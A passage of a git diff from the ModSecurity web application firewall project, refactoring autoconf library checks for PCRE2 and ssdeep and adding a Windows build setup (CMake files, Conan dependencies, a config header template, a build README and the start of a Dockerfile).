AC_MSG_NOTICE([Nothing about PCRE2 was informed during the configure phase. Trying to detect it on the platform...]) - if test -n "${PCRE2_PKG_NAME}"; then - # Package was found using the pkg-config scripts - PCRE2_VERSION="`${PKG_CONFIG} ${PCRE2_PKG_NAME} --modversion`" - PCRE2_CFLAGS="`${PKG_CONFIG} ${PCRE2_PKG_NAME} --cflags`" - PCRE2_LDADD="`${PKG_CONFIG} ${PCRE2_PKG_NAME} --libs-only-l`" - PCRE2_LDFLAGS="`${PKG_CONFIG} ${PCRE2_PKG_NAME} --libs-only-L --libs-only-other`" - PCRE2_DISPLAY="${PCRE2_LDADD}, ${PCRE2_CFLAGS}" - else - # If pkg-config did not find anything useful, go over file lookup. - for x in ${PCRE2_POSSIBLE_PATHS}; do - CHECK_FOR_PCRE2_AT(${x}) - if test -n "${PCRE2_VERSION}"; then - break - fi - done - fi - fi - if test "x${with_pcre2}" != "x"; then - # An specific path was informed, lets check. - PCRE2_MANDATORY=yes - CHECK_FOR_PCRE2_AT(${with_pcre2}) - fi -# fi -fi - -if test -z "${PCRE2_LDADD}"; then - if test -z "${PCRE2_MANDATORY}"; then - if test -z "${PCRE2_DISABLED}"; then - AC_MSG_NOTICE([PCRE2 library was not found]) - PCRE2_FOUND=0 - else - PCRE2_FOUND=2 - fi - else - AC_MSG_ERROR([PCRE2 was explicitly referenced but it was not found]) - PCRE2_FOUND=-1 - fi -else - if test -z "${PCRE2_MANDATORY}"; then - PCRE2_FOUND=2 - AC_MSG_NOTICE([PCRE2 is disabled by default.]) - else - PCRE2_FOUND=1 - AC_MSG_NOTICE([using PCRE2 v${PCRE2_VERSION}]) - PCRE2_CFLAGS="-DWITH_PCRE2 ${PCRE2_CFLAGS}" - PCRE2_DISPLAY="${PCRE2_LDADD}, ${PCRE2_CFLAGS}" - AC_SUBST(PCRE2_VERSION) - AC_SUBST(PCRE2_LDADD) - AC_SUBST(PCRE2_LIBS) - AC_SUBST(PCRE2_LDFLAGS) - AC_SUBST(PCRE2_CFLAGS) - AC_SUBST(PCRE2_DISPLAY) - fi -fi - - -AC_SUBST(PCRE2_FOUND) - +MSC_CHECK_LIB([PCRE2], [libpcre2-8 pcre2-8 pcre2], [pcre2.h], [pcre2-8], []) ]) # AC_DEFUN [PROG_PCRE2] - - -AC_DEFUN([CHECK_FOR_PCRE2_AT], [ - path=$1 - echo "*** LOOKING AT PATH: " ${path} - for y in ${PCRE2_POSSIBLE_EXTENSIONS}; do - for z in ${PCRE2_POSSIBLE_LIB_NAMES}; do - if test -e "${path}/${z}.${y}"; then - pcre2_lib_path="${path}/" - pcre2_lib_name="${z}" - pcre2_lib_file="${pcre2_lib_path}/${z}.${y}" - break - fi - if test -e "${path}/lib${z}.${y}"; then - pcre2_lib_path="${path}/" - pcre2_lib_name="${z}" - pcre2_lib_file="${pcre2_lib_path}/lib${z}.${y}" - break - fi - if test -e "${path}/lib/lib${z}.${y}"; then - pcre2_lib_path="${path}/lib/" - pcre2_lib_name="${z}" - pcre2_lib_file="${pcre2_lib_path}/lib${z}.${y}" - break - fi - if test -e "${path}/lib/x86_64-linux-gnu/lib${z}.${y}"; then - pcre2_lib_path="${path}/lib/x86_64-linux-gnu/" - pcre2_lib_name="${z}" - pcre2_lib_file="${pcre2_lib_path}/lib${z}.${y}" - break - fi - if test -e "${path}/lib/i386-linux-gnu/lib${z}.${y}"; then - pcre2_lib_path="${path}/lib/i386-linux-gnu/" - pcre2_lib_name="${z}" - pcre2_lib_file="${pcre2_lib_path}/lib${z}.${y}" - break - fi - done - if test -n "$pcre2_lib_path"; then - break - fi - done - if test -e "${path}/include/pcre2.h"; then - pcre2_inc_path="${path}/include" - elif test -e "${path}/pcre2.h"; then - pcre2_inc_path="${path}" - elif test -e "${path}/include/pcre2/pcre2.h"; then - pcre2_inc_path="${path}/include" - fi - - if test -n "${pcre2_lib_path}"; then - AC_MSG_NOTICE([PCRE2 library found at: ${pcre2_lib_file}]) - fi - - if test -n "${pcre2_inc_path}"; then - AC_MSG_NOTICE([PCRE2 headers found at: ${pcre2_inc_path}]) - fi - - if test -n "${pcre2_lib_path}" -a -n "${pcre2_inc_path}"; then - # TODO: Compile a piece of code to check the version. - PCRE2_CFLAGS="-I${pcre2_inc_path}" - PCRE2_LDADD="-l${pcre2_lib_name}" - PCRE2_LDFLAGS="-L${pcre2_lib_path}" - PCRE2_DISPLAY="${pcre2_lib_file}, ${pcre2_inc_path}" - fi -]) # AC_DEFUN [CHECK_FOR_PCRE2_AT] diff --git a/build/ssdeep.m4 b/build/ssdeep.m4 index 44e7832718..81168bc3f0 100644 --- a/build/ssdeep.m4 +++ b/build/ssdeep.m4 @@ -1,144 +1,11 @@ dnl Check for SSDEEP Libraries -dnl CHECK_SSDEEP(ACTION-IF-FOUND [, ACTION-IF-NOT-FOUND]) - - -AC_DEFUN([CHECK_SSDEEP], -[dnl - -# Possible names for the ssdeep library/package (pkg-config) -SSDEEP_POSSIBLE_LIB_NAMES="fuzzy" - -# Possible extensions for the library -SSDEEP_POSSIBLE_EXTENSIONS="so so0 la sl dll dylib so.0.0.0" - -# Possible paths (if pkg-config was not found, proceed with the file lookup) -SSDEEP_POSSIBLE_PATHS="/usr/lib /usr/local/lib /usr/local/fuzzy /usr/local/libfuzzy /usr/local /opt /usr /usr/lib64 /opt/local" - -# Variables to be set by this very own script. -SSDEEP_CFLAGS="" -SSDEEP_LDFLAGS="" -SSDEEP_LDADD="" -SSDEEP_DISPLAY="" - -AC_ARG_WITH( - ssdeep, - [AS_HELP_STRING([--with-ssdeep=PATH],[Path to ssdeep prefix])] -) - - -if test "x${with_ssdeep}" == "xno"; then - AC_DEFINE(HAVE_SSDEEP, 0, [Support for SSDEEP was disabled by the utilization of --without-ssdeep or --with-ssdeep=no]) - AC_MSG_NOTICE([Support for SSDEEP was disabled by the utilization of --without-ssdeep or --with-ssdeep=no]) - SSDEEP_DISABLED=yes -else - if test "x${with_ssdeep}" == "xyes"; then - SSDEEP_MANDATORY=yes - AC_MSG_NOTICE([SSDEEP support was marked as mandatory by the utilization of --with-ssdeep=yes]) - else - SSDEEP_MANDATORY=no - fi - for x in ${SSDEEP_POSSIBLE_PATHS}; do - CHECK_FOR_SSDEEP_AT(${x}) - if test -n "${SSDEEP_CFLAGS}"; then - break - fi - done -fi - - -if test -z "${SSDEEP_CFLAGS}"; then - if test -z "${SSDEEP_MANDATORY}" || test "x${SSDEEP_MANDATORY}" == "xno"; then - if test -z "${SSDEEP_DISABLED}"; then - AC_MSG_NOTICE([SSDEEP library was not found]) - SSDEEP_FOUND=0 - else - SSDEEP_FOUND=2 - fi - else - AC_MSG_ERROR([SSDEEP was explicitly referenced but it was not found]) - SSDEEP_FOUND=-1 - fi -else - SSDEEP_FOUND=1 - AC_MSG_NOTICE([using SSDEEP v${SSDEEP_VERSION}]) - SSDEEP_CFLAGS="-DWITH_SSDEEP ${SSDEEP_CFLAGS}" - SSDEEP_DISPLAY="${SSDEEP_LDADD} ${SSDEEP_LDFLAGS}, ${SSDEEP_CFLAGS}" - AC_SUBST(SSDEEP_LDFLAGS) - AC_SUBST(SSDEEP_LDADD) - AC_SUBST(SSDEEP_CFLAGS) - AC_SUBST(SSDEEP_DISPLAY) -fi - - -AC_SUBST(SSDEEP_FOUND) - +dnl Sets: +dnl SSDEEP_CFLAGS +dnl SSDEEP_LDADD +dnl SSDEEP_LDFLAGS +dnl SSDEEP_DISPLAY +dnl SSDEEP_FOUND + +AC_DEFUN([CHECK_SSDEEP], [ +MSC_CHECK_LIB([SSDEEP], [fuzzy], [fuzzy.h], [fuzzy], [-DWITH_SSDEEP]) ]) # AC_DEFUN [CHECK_SSDEEP] - - -AC_DEFUN([CHECK_FOR_SSDEEP_AT], [ - path=$1 - echo "*** LOOKING AT PATH: " ${path} - for y in ${SSDEEP_POSSIBLE_EXTENSIONS}; do - for z in ${SSDEEP_POSSIBLE_LIB_NAMES}; do - if test -e "${path}/${z}.${y}"; then - ssdeep_lib_path="${path}/" - ssdeep_lib_name="${z}" - ssdeep_lib_file="${ssdeep_lib_path}/${z}.${y}" - break - fi - if test -e "${path}/lib${z}.${y}"; then - ssdeep_lib_path="${path}/" - ssdeep_lib_name="${z}" - ssdeep_lib_file="${ssdeep_lib_path}/lib${z}.${y}" - break - fi - if test -e "${path}/lib/lib${z}.${y}"; then - ssdeep_lib_path="${path}/lib/" - ssdeep_lib_name="${z}" - ssdeep_lib_file="${ssdeep_lib_path}/lib${z}.${y}" - break - fi - if test -e "${path}/lib/x86_64-linux-gnu/lib${z}.${y}"; then - ssdeep_lib_path="${path}/lib/x86_64-linux-gnu/" - ssdeep_lib_name="${z}" - ssdeep_lib_file="${ssdeep_lib_path}/lib${z}.${y}" - break - fi - if test -e "${path}/lib/i386-linux-gnu/lib${z}.${y}"; then - ssdeep_lib_path="${path}/lib/i386-linux-gnu/" - ssdeep_lib_name="${z}" - ssdeep_lib_file="${ssdeep_lib_path}/lib${z}.${y}" - break - fi - done - if test -n "$ssdeep_lib_path"; then - break - fi - done - if test -e "${path}/include/fuzzy.h"; then - ssdeep_inc_path="${path}/include" - elif test -e "${path}/fuzzy.h"; then - ssdeep_inc_path="${path}" - elif test -e "${path}/include/fuzzy/fuzzy.h"; then - ssdeep_inc_path="${path}/include" - fi - - if test -n "${ssdeep_lib_path}"; then - AC_MSG_NOTICE([SSDEEP library found at: ${ssdeep_lib_file}]) - fi - - if test -n "${ssdeep_inc_path}"; then - AC_MSG_NOTICE([SSDEEP headers found at: ${ssdeep_inc_path}]) - fi - - if test -n "${ssdeep_lib_path}" -a -n "${ssdeep_inc_path}"; then - # TODO: Compile a piece of code to check the version. - SSDEEP_CFLAGS="-I${ssdeep_inc_path}" - SSDEEP_LDADD="-l${ssdeep_lib_name}" - SSDEEP_LDFLAGS="-L${ssdeep_lib_path}" - SSDEEP_DISPLAY="${ssdeep_lib_file}, ${ssdeep_inc_path}" - fi -]) # AC_DEFUN [CHECK_FOR_SSDEEP_AT] - - - diff --git a/build/win32/CMakeLists.txt b/build/win32/CMakeLists.txt new file mode 100644 index 0000000000..399d4727c1 --- /dev/null +++ b/build/win32/CMakeLists.txt @@ -0,0 +1,294 @@ +cmake_minimum_required(VERSION 3.24) + +set(BASE_DIR ${CMAKE_CURRENT_LIST_DIR}/../..) + +option(WITH_LMDB "Include LMDB support" OFF) +option(WITH_LUA "Include LUA support" ON) +option(WITH_LIBXML2 "Include LibXML2 support" ON) +option(WITH_MAXMIND "Include MaxMind support" ON) +option(WITH_CURL "Include CURL support" ON) + +option(USE_ASAN "Build with Address Sanitizer" OFF) + +# common compiler settings + +# NOTE: MBEDTLS_CONFIG_FILE is not only required to compile the mbedtls subset in others, but also +# when their headers are included while compiling libModSecurity +add_compile_definitions(WIN32 _CRT_SECURE_NO_WARNINGS MBEDTLS_CONFIG_FILE="mbedtls/mbedtls_config.h") + +# set standards conformance preprocessor & compiler to align with cross-compiled codebase +# NOTE: otherwise visual c++'s default compiler/preprocessor behaviour generates C4067 warnings +# (unexpected tokens following preprocessor directive - expected a newline) +add_compile_options(/Zc:preprocessor /permissive-) + +if(USE_ASAN) + add_compile_options(/fsanitize=address) + add_link_options(/INFERASANLIBS /INCREMENTAL:no) +endif() + +# libinjection + +project(libinjection C) + +set(LIBINJECTION_DIR ${BASE_DIR}/others/libinjection) + +add_library(libinjection STATIC ${LIBINJECTION_DIR}/src/libinjection_sqli.c ${LIBINJECTION_DIR}/src/libinjection_xss.c ${LIBINJECTION_DIR}/src/libinjection_html5.c) + +# get libinjection version with git describe +execute_process( + COMMAND git describe + WORKING_DIRECTORY ${LIBINJECTION_DIR} + OUTPUT_VARIABLE LIBINJECTION_VERSION + OUTPUT_STRIP_TRAILING_WHITESPACE +) + +message("-- Detecting libinjection version - ${LIBINJECTION_VERSION}") + +target_compile_definitions(libinjection PRIVATE LIBINJECTION_VERSION="${LIBINJECTION_VERSION}") + +# mbedtls (mbedcrypto) + +project(mbedcrypto C) + +set(MBEDTLS_DIR ${BASE_DIR}/others/mbedtls) +set(TF_PSA_CRYPTO_DIR ${MBEDTLS_DIR}/tf-psa-crypto) + +add_library(mbedcrypto STATIC + ${TF_PSA_CRYPTO_DIR}/utilities/base64.c + ${TF_PSA_CRYPTO_DIR}/utilities/constant_time.c + ${TF_PSA_CRYPTO_DIR}/platform/platform_util.c + ${TF_PSA_CRYPTO_DIR}/extras/md.c + ${TF_PSA_CRYPTO_DIR}/drivers/builtin/src/md5.c + ${TF_PSA_CRYPTO_DIR}/drivers/builtin/src/sha1.c + ${TF_PSA_CRYPTO_DIR}/drivers/builtin/src/sha256.c + ${TF_PSA_CRYPTO_DIR}/drivers/builtin/src/sha512.c + ${TF_PSA_CRYPTO_DIR}/drivers/builtin/src/sha3.c + ${TF_PSA_CRYPTO_DIR}/drivers/builtin/src/ripemd160.c + ${TF_PSA_CRYPTO_DIR}/drivers/builtin/src/psa_util_internal.c +) + +target_include_directories(mbedcrypto PRIVATE + ${MBEDTLS_DIR}/include + ${TF_PSA_CRYPTO_DIR}/include + ${TF_PSA_CRYPTO_DIR}/core + ${TF_PSA_CRYPTO_DIR}/extras + ${TF_PSA_CRYPTO_DIR}/library + ${TF_PSA_CRYPTO_DIR}/utilities + ${TF_PSA_CRYPTO_DIR}/drivers/builtin/include + ${TF_PSA_CRYPTO_DIR}/drivers/builtin/src +) + +# get mbedtls version with git describe +execute_process( + COMMAND git describe + WORKING_DIRECTORY ${MBEDTLS_DIR} + OUTPUT_VARIABLE MBEDTLS_VERSION + OUTPUT_STRIP_TRAILING_WHITESPACE +) + +message("-- Detecting Mbed TLS version - ${MBEDTLS_VERSION}") + +# +# libModSecurity +# + +project(libModSecurity + VERSION + 3.0.14 + LANGUAGES + CXX +) + +set(CMAKE_CXX_STANDARD 17) +set(CMAKE_CXX_STANDARD_REQUIRED On) +set(CMAKE_CXX_EXTENSIONS Off) + +set(PACKAGE_BUGREPORT "security@modsecurity.org") +set(PACKAGE_NAME "modsecurity") +set(PACKAGE_VERSION "${PROJECT_VERSION}") +set(PACKAGE_STRING "${PACKAGE_NAME} ${PACKAGE_VERSION}") +set(PACKAGE_TARNAME "${PACKAGE_NAME}") + +set(HAVE_YAJL 1) # should always be one, mandatory dependency +set(HAVE_GEOIP 0) # should always be zero, no conan package available +set(HAVE_SSDEEP 0) # should always be zero, no conan package available + +macro(enable_feature flag option) + if(${option}) + set(${flag} 1) # ON + else() + set(${flag} 0) # OFF + endif() +endmacro() + +enable_feature(HAVE_LMDB ${WITH_LMDB}) +enable_feature(HAVE_LUA ${WITH_LUA}) +enable_feature(HAVE_LIBXML2 ${WITH_LIBXML2}) +enable_feature(HAVE_MAXMIND ${WITH_MAXMIND}) +enable_feature(HAVE_CURL ${WITH_CURL}) + +include(${CMAKE_CURRENT_LIST_DIR}/ConfigureChecks.cmake) + +configure_file(config.h.cmake ${BASE_DIR}/src/config.h) + +find_package(PCRE2 REQUIRED) +find_package(Poco REQUIRED) +find_package(dirent REQUIRED) # used only by tests (check dirent::dirent refernces) + +macro(include_package package flag) + if(${flag}) + find_package(${package} REQUIRED) + endif() +endmacro() + +include_package(yajl HAVE_YAJL) +include_package(libxml2 HAVE_LIBXML2) +include_package(lua HAVE_LUA) +include_package(CURL HAVE_CURL) +include_package(lmdb HAVE_LMDB) +include_package(maxminddb HAVE_MAXMIND) + +# library +# + +# NOTE: required to generate libModSecurity's import library (libModSecurity.lib), used by tests to link with shared library +set(CMAKE_WINDOWS_EXPORT_ALL_SYMBOLS ON) + +file(GLOB_RECURSE libModSecuritySources ${BASE_DIR}/src/*.cc) + +add_library(libModSecurity SHARED ${libModSecuritySources}) + +target_compile_definitions(libModSecurity PRIVATE WITH_PCRE2) +target_include_directories(libModSecurity PRIVATE ${BASE_DIR} ${BASE_DIR}/headers ${BASE_DIR}/others ${MBEDTLS_DIR}/include ${TF_PSA_CRYPTO_DIR}/include ${TF_PSA_CRYPTO_DIR}/drivers/builtin/include) +target_link_libraries(libModSecurity PRIVATE pcre2::pcre2 libinjection mbedcrypto Poco::Poco Iphlpapi.lib) + +macro(add_package_dependency project compile_definition link_library flag) + if(${flag}) + target_compile_definitions(${project} PRIVATE ${compile_definition}) + target_link_libraries(${project} PRIVATE ${link_library}) + endif() +endmacro() + +add_package_dependency(libModSecurity WITH_YAJL yajl::yajl HAVE_YAJL) +add_package_dependency(libModSecurity WITH_LIBXML2 LibXml2::LibXml2 HAVE_LIBXML2) +add_package_dependency(libModSecurity WITH_LUA lua::lua HAVE_LUA) +if(HAVE_LUA) + target_compile_definitions(libModSecurity PRIVATE WITH_LUA_5_4) +endif() +add_package_dependency(libModSecurity MSC_WITH_CURL CURL::libcurl HAVE_CURL) +add_package_dependency(libModSecurity WITH_LMDB lmdb::lmdb HAVE_LMDB) +add_package_dependency(libModSecurity WITH_MAXMIND maxminddb::maxminddb HAVE_MAXMIND) + +# tests +# + +project(libModSecurityTests) + +function(setTestTargetProperties executable) + target_compile_definitions(${executable} PRIVATE WITH_PCRE2) + target_include_directories(${executable} PRIVATE ${BASE_DIR} ${BASE_DIR}/headers ${BASE_DIR}/others) + target_link_libraries(${executable} PRIVATE libModSecurity pcre2::pcre2 dirent::dirent) + add_package_dependency(${executable} WITH_YAJL yajl::yajl HAVE_YAJL) +endfunction() + +# unit tests +file(GLOB unitTestSources ${BASE_DIR}/test/unit/*.cc) +add_executable(unit_tests ${unitTestSources} ${BASE_DIR}/test/common/custom_debug_log.cc) +setTestTargetProperties(unit_tests) +target_compile_options(unit_tests PRIVATE /wd4805) + +# regression tests +file(GLOB regressionTestsSources ${BASE_DIR}/test/regression/*.cc) +add_executable(regression_tests ${regressionTestsSources} ${BASE_DIR}/test/common/custom_debug_log.cc) +setTestTargetProperties(regression_tests) + +macro(add_regression_test_capability compile_definition flag) + if(${flag}) + target_compile_definitions(regression_tests PRIVATE ${compile_definition}) + endif() +endmacro() + +add_regression_test_capability(WITH_LUA HAVE_LUA) +add_regression_test_capability(WITH_CURL HAVE_CURL) +add_regression_test_capability(WITH_LMDB HAVE_LMDB) +add_regression_test_capability(WITH_MAXMIND HAVE_MAXMIND) + +enable_testing() + +file(READ ${BASE_DIR}/test/test-suite.in TEST_FILES_RAW) +string(REPLACE "\n" ";" TEST_FILES ${TEST_FILES_RAW}) + +foreach(TEST_FILE ${TEST_FILES}) + # ignore comment lines + string(FIND ${TEST_FILE} "#" is_comment) + if(NOT is_comment EQUAL 0) + string(FIND ${TEST_FILE} "TESTS+=" is_valid_prefix) + if(NOT is_valid_prefix EQUAL 0) + message(FATAL_ERROR "Invalid prefix in line: ${TEST_FILE}") + endif() + + # remove 'TESTS+=' prefix and 'test/' too because tests are launched + # from that directory + string(SUBSTRING ${TEST_FILE} 12 -1 TEST_FILE) + + # test name + get_filename_component(TEST_NAME ${TEST_FILE} NAME_WE) + + # determine test runner based on test path prefix + string(FIND ${TEST_FILE} "test-cases/regression/" is_regression_test) + if(is_regression_test EQUAL 0) + set(TEST_RUNNER "regression_tests") + else() + set(TEST_RUNNER "unit_tests") + endif() + + add_test(NAME ${TEST_NAME} COMMAND ${TEST_RUNNER} ${TEST_FILE} WORKING_DIRECTORY ${BASE_DIR}/test) + endif() +endforeach() + +# benchmark +add_executable(benchmark ${BASE_DIR}/test/benchmark/benchmark.cc) +setTestTargetProperties(benchmark) + +# rules_optimization +add_executable(rules_optimization ${BASE_DIR}/test/optimization/optimization.cc) +setTestTargetProperties(rules_optimization) + + +# examples +# + +project(libModSecurityExamples) + +function(setExampleTargetProperties executable) + target_include_directories(${executable} PRIVATE ${BASE_DIR} ${BASE_DIR}/headers ${BASE_DIR}/others) + target_link_libraries(${executable} PRIVATE libModSecurity) +endfunction() + +# simple_example_using_c +add_executable(simple_example_using_c ${BASE_DIR}/examples/simple_example_using_c/test.c) +setExampleTargetProperties(simple_example_using_c) + +# using_bodies_in_chunks +add_executable(using_bodies_in_chunks ${BASE_DIR}/examples/using_bodies_in_chunks/simple_request.cc) +setExampleTargetProperties(using_bodies_in_chunks) + +# reading_logs_via_rule_message +add_executable(reading_logs_via_rule_message ${BASE_DIR}/examples/reading_logs_via_rule_message/simple_request.cc) +setExampleTargetProperties(reading_logs_via_rule_message) + +# reading_logs_with_offset +add_executable(reading_logs_with_offset ${BASE_DIR}/examples/reading_logs_with_offset/read.cc) +setExampleTargetProperties(reading_logs_with_offset) + +# multithread +add_executable(multithread ${BASE_DIR}/examples/multithread/multithread.cc) +setExampleTargetProperties(multithread) + +# tools +# + +# rules_check +add_executable(rules_check ${BASE_DIR}/tools/rules-check/rules-check.cc) +target_include_directories(rules_check PRIVATE ${BASE_DIR} ${BASE_DIR}/headers) +target_link_libraries(rules_check PRIVATE libModSecurity) diff --git a/build/win32/ConfigureChecks.cmake b/build/win32/ConfigureChecks.cmake new file mode 100644 index 0000000000..6322b69652 --- /dev/null +++ b/build/win32/ConfigureChecks.cmake @@ -0,0 +1,18 @@ +include(CheckIncludeFile) +include(CheckIncludeFiles) + +check_include_file("dlfcn.h" HAVE_DLFCN_H) +check_include_file("inttypes.h" HAVE_INTTYPES_H) +check_include_file("stdint.h" HAVE_STDINT_H) +check_include_file("stdio.h" HAVE_STDIO_H) +check_include_file("stdlib.h" HAVE_STDLIB_H) +check_include_file("string" HAVE_STRING) +check_include_file("strings.h" HAVE_STRINGS_H) +check_include_file("string.h" HAVE_STRING_H) +check_include_file("sys/stat.h" HAVE_SYS_STAT_H) +check_include_file("sys/types.h" HAVE_SYS_TYPES_H) +check_include_file("sys/utsname.h" HAVE_SYS_UTSNAME_H) +check_include_file("unistd.h" HAVE_UNISTD_H) + +#/* Define to 1 if you have the ANSI C header files. */ +check_include_files("stdlib.h;stdarg.h;string.h;float.h" STDC_HEADERS) diff --git a/build/win32/README.md b/build/win32/README.md new file mode 100644 index 0000000000..becabe23c3 --- /dev/null +++ b/build/win32/README.md @@ -0,0 +1,112 @@ +# libModSecurity Windows build information + +The Windows build of libModSecurity uses Build Tools for Visual Studio 2022 (for Visual C++ & CMake) and Conan package manager. + +## Contents + +- [Prerequisites](#prerequisites) +- [Build](#build) + - [Optional features](#optional-features) + - [Address Sanitizer](#address-sanitizer) + - [Docker container](#docker-container) + +## Prerequisites + + * [Build Tools for Visual Studio 2022](https://aka.ms/vs/17/release/vs_buildtools.exe) + * Install *Desktop development with C++* workload, which includes: + * MSVC C++ compiler + * Windows SDK + * CMake + * Address Sanitizer + * [Conan package manager 2.27.1](https://github.com/conan-io/conan/releases/download/2.27.1/conan-2.27.1-windows-x86_64-installer.exe) + * Install and then setup the default Conan profile to use the MSVC C++ compiler: + 1. Open a command-prompt and set the MSVC C++ compiler environment by executing: `C:\BuildTools\VC\Auxiliary\Build\vcvars64.bat` + 2. Execute: `conan profile detect --force` + * [Git for Windows 2.53.0](https://github.com/git-for-windows/git/releases/download/v2.53.0.windows.1/Git-2.53.0-64-bit.exe) + * To clone the libModSecurity repository. + * NOTE: Make sure to initialize and update submodules (to get `libinjection`, `mbedtls` and regression tests) + * `git submodule update --init --recursive` + * `git submodule status` + +## Build + +Install the prerequisites listed in the previous section, checkout libModSecurity and from the directory where it's located execute: + +``` +vcbuild.bat [build_configuration] [arch] [USE_ASAN] +``` + +where `[build_configuration]` can be: `Release` (default), `RelWithDebInfo`, `MinSizeRel` or `Debug`, and `[arch]` can be: `x86_64` (default) or `x86`. + +Built files will be located in the directory: `build\win32\build\[build_configuration]` and include: + + * `libModSecurity.dll` + * Executable files for test projects + * `unit_tests.exe` + * `regression_tests.exe` + * `benchmark.exe` + * `rules_optimization.exe` + * Executable files for examples + * `simple_example_using_c.exe` + * `using_bodies_in_chunks.exe` + * `reading_logs_via_rule_message.exe` + * `reading_logs_with_offset.exe` + * `multithread.exe` + * Executable files for tools + * `rules_check.exe` + +NOTE: When building a different configuration, it's recommended to reset: + + * the build directory: `build\win32\build` + * previously built conan packages executing the command: + * `conan remove * -c` + +### Optional features + +By default the following all the following features are enabled by including the associated third-party library through a Conan package: + + * libxml2 2.15.2 for XML processing support + * libcurl 8.19.0 to support http requests from rules + * libmaxminddb 1.12.2 to support reading MaxMind DB files. + * LUA 5.5.0 to enable rules to run scripts in this language for extensibility + * lmdb 0.9.32 in-memory database + +Each of these can be turned off by updating the associated `HAVE_xxx` variable (setting it to zero) in the beginning of the libModSecurity section of `CMakeLists.txt`. + +### Address Sanitizer + +[AddressSanitizer](https://github.com/google/sanitizers/wiki/AddressSanitizer) (aka ASan) is a memory error detector for C/C++. + +To generate a build with *Address Sanitizer*, add the `USE_ASAN` optional third argument to `vcbuild.bat`. For example: + * `vcbuild.bat Debug x86_64 USE_ASAN` + +NOTE: `USE_ASAN` does not work with `Release` & `MinSizeRel` configurations because they do not include debug info (it is only compatible with `Debug` & `RelWithDebInfo` builds). + + * References + * [AddressSanitizer | Microsoft Learn](https://learn.microsoft.com/en-us/cpp/sanitizers/asan?view=msvc-170) + * [AddressSanitizer for Windows: x64 and Debug Build Support - C++ Team Blog (microsoft.com)](https://devblogs.microsoft.com/cppblog/asan-for-windows-x64-and-debug-build-support/) + * [AddressSanitizer language, build, and debugging reference | Microsoft Learn](https://learn.microsoft.com/en-us/cpp/sanitizers/asan-building?view=msvc-170) + +### Docker container + +A `Dockerfile` configuration file is provided in the `docker` subdir that creates a Windows container image which installs the [prerequisites](#prerequisites) and builds libModSecurity and other binaries. + +NOTE: Windows containers are supported in Docker Desktop for Windows, using the *Switch to Windows containers...* option on the context menu of the system tray icon. + +To build the docker image, execute the following command (from the `build\win32\docker` directory): + + * `docker build -t libmodsecurity:latest -m 4GB .` + * Build type, architecture and build with Address Sanitizer can be configured through build arguments (`BUILD_TYPE`, `ARCH` & `USE_ASAN` respectively). For example, to generate a debug build, add the following argument: + * `--build-arg BUILD_TYPE=Debug` + +Once the image is generated, the library and associated binaries (tests & examples) are located in the `C:\src\ModSecurity\build\win32\build\[build_type]` directory. + +To extract the library (`libModSecurity.dll`) from the image, you can execute the following commands: + + * `docker container create --name [container_name] libmodsecurity` + * `docker cp [container_name]:C:\src\ModSecurity\build\win32\build\[build_type]\libModSecurity.dll .` + * NOTE: If you leave out the `libModSecurity.dll` filename out, you can copy all the built binaries (including examples & tests). + +Additionally, the image can be used interactively for additional development work by executing: + + * `docker run -it libmodsecurity` diff --git a/build/win32/conanfile.txt b/build/win32/conanfile.txt new file mode 100644 index 0000000000..29dbde4aa4 --- /dev/null +++ b/build/win32/conanfile.txt @@ -0,0 +1,14 @@ +[requires] +yajl/2.1.0 +pcre2/10.44 +libxml2/2.15.2 +lua/5.5.0 +libcurl/8.19.0 +lmdb/0.9.32 +libmaxminddb/1.12.2 +dirent/1.24 +poco/1.14.2 + +[generators] +CMakeDeps +CMakeToolchain diff --git a/build/win32/config.h.cmake b/build/win32/config.h.cmake new file mode 100644 index 0000000000..2f6a73085e --- /dev/null +++ b/build/win32/config.h.cmake @@ -0,0 +1,92 @@ +/* config.h.cmake. Based upon generated config.h.in. */ + +#ifndef MODSECURITY_CONFIG_H +#define MODSECURITY_CONFIG_H 1 + +/* Define to 1 if you have the header file. */ +#cmakedefine HAVE_DLFCN_H + +/* Define to 1 if you have the header file. */ +#cmakedefine HAVE_INTTYPES_H + +/* Define to 1 if you have the header file. */ +#cmakedefine HAVE_IOSTREAM + +/* Define to 1 if you have the header file. */ +#cmakedefine HAVE_STDINT_H + +/* Define to 1 if you have the header file. */ +#cmakedefine HAVE_STDIO_H + +/* Define to 1 if you have the header file. */ +#cmakedefine HAVE_STDLIB_H + +/* Define to 1 if you have the header file. */ +#cmakedefine HAVE_STRING + +/* Define to 1 if you have the header file. */ +#cmakedefine HAVE_STRINGS_H + +/* Define to 1 if you have the header file. */ +#cmakedefine HAVE_STRING_H + +/* Define to 1 if you have the header file. */ +#cmakedefine HAVE_SYS_STAT_H + +/* Define to 1 if you have the header file. */ +#cmakedefine HAVE_SYS_TYPES_H + +/* Define to 1 if you have the header file. */ +#cmakedefine HAVE_SYS_UTSNAME_H + +/* Define to 1 if you have the header file. */ +#cmakedefine HAVE_UNISTD_H + +/* Define if GeoIP is available */ +#cmakedefine HAVE_GEOIP + +/* Define if LMDB is available */ +#cmakedefine HAVE_LMDB + +/* Define if LUA is available */ +#cmakedefine HAVE_LUA + +/* Define if MaxMind is available */ +#cmakedefine HAVE_MAXMIND + +/* Define if SSDEEP is available */ +#cmakedefine HAVE_SSDEEP + +/* Define if YAJL is available */ +#cmakedefine HAVE_YAJL + +/* Define if libcurl is available */ +#cmakedefine HAVE_CURL + +/* Name of package */ +#define PACKAGE "@PACKAGE_NAME@" + +/* Define to the address where bug reports for this package should be sent. */ +#cmakedefine PACKAGE_BUGREPORT "@PACKAGE_BUGREPORT@" + +/* Define to the full name of this package. */ +#cmakedefine PACKAGE_NAME "@PACKAGE_NAME@" + +/* Define to the full name and version of this package. */ +#cmakedefine PACKAGE_STRING "@PACKAGE_STRING@" + +/* Define to the one symbol short name of this package. */ +#cmakedefine PACKAGE_TARNAME "@PACKAGE_TARNAME@" + +/* Define to the home page for this package. */ +#define PACKAGE_URL "" + +/* Define to the version of this package. */ +#cmakedefine PACKAGE_VERSION "@PACKAGE_VERSION@" + +/* Define to 1 if you have the ANSI C header files. */ +#ifndef STDC_HEADERS +#cmakedefine STDC_HEADERS +#endif + +#endif // ndef MODSECURITY_CONFIG_H \ No newline at end of file diff --git a/build/win32/docker/Dockerfile b/build/win32/docker/Dockerfile new file mode 100644 index 0000000000..b81e0b85f6 --- /dev/null +++ b/build/win32/docker/Dockerfile @@ -0,0 +1,115 @@ +# escape=` + +ARG FROM_IMAGE=mcr.microsoft.com/windows/servercore:ltsc2022 +FROM ${FROM_IMAGE} + +# reset the shell. 